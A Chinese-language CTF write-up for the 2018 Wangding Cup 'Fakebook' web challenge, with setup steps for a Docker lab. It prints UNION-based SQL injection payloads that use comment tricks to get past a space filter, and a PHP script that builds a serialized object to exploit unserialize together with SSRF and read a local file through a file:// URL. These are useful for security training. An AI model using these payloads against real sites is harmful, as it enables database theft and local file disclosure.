WP-网鼎杯 2018 Fakebook

题目复现

https://github.com/CTFTraining/wdb_2018_fakebook/tree/0de336f09a15dee090d6a001a5a29e60e647be8a

1
2
3
4
git clone https://github.com/CTFTraining/wdb_2018_fakebook.git
cd wdb_2018_fakebook/
docker-compose up -d
docker run -d -p 1000:80 ctftraining/wdb_2018_fakebook

访问 http://[your ip]:1000/ 即可

题目解析

题目是一个分享 blog 网址的站

正常注册一个账号

首页上会展示刚才注册的信息,点击用户名会跳转到view.php

在这个页面上展示了username, age, blog 和一个iframe引入的用户填写的blog网址

而且注意到view.php是通过 id 值来查找用户的,那么可能会有sql注入

在页面上引入 blog 是用户可控的,那么很有可能会存在 SSRF

扫下后台

  • 得到robots.txt 如下
1
2
User-agent: *
Disallow: /user.php.bak
  • 又得到了一份源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
  • 访问flag.php正常200

在view.php?id处sql注入

测试后发现此处对空格进行了过滤,用注释/**/绕过下

order by测试查询的字段数为4

常规查表,列,字段

1
2
3
4
5
6
-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
得到table: users
-1/**/union/**/select/**/1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
得到column: no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
-1/**/union/**/select/**/1,group_concat(data),3,4 from users where no='3'#
得到data: O:8:"UserInfo":3:{s:4:"name";s:7:"abelche";s:3:"age";i:123;s:4:"blog";s:20:"http://www.baidu.com";}

结合在注入的时候页面显示php报错:Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

用户注册的信息经过序列化后存入数据库,在view.php页面再反序列化成实例然后显示出来

将unserialize+ssrf注入data

那么我们可以尝试构造序列化的payload读取flag.php

这就用到了前面获得的泄漏的源码

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
$u = unserialize('O:8:"UserInfo":3:{s:4:"name";s:7:"abelche";s:3:"age";i:123;s:4:"blog";s:20:"http://www.baidu.com";}');
$s = $u;
$s->blog = 'file:///var/www/html/flag.php';
print(serialize($s));

最终的payload为:

-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"abelche";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

查看页面源码得到

base64解码得到flag

AbelChe wechat
扫码加微信
Donate here!!!
0%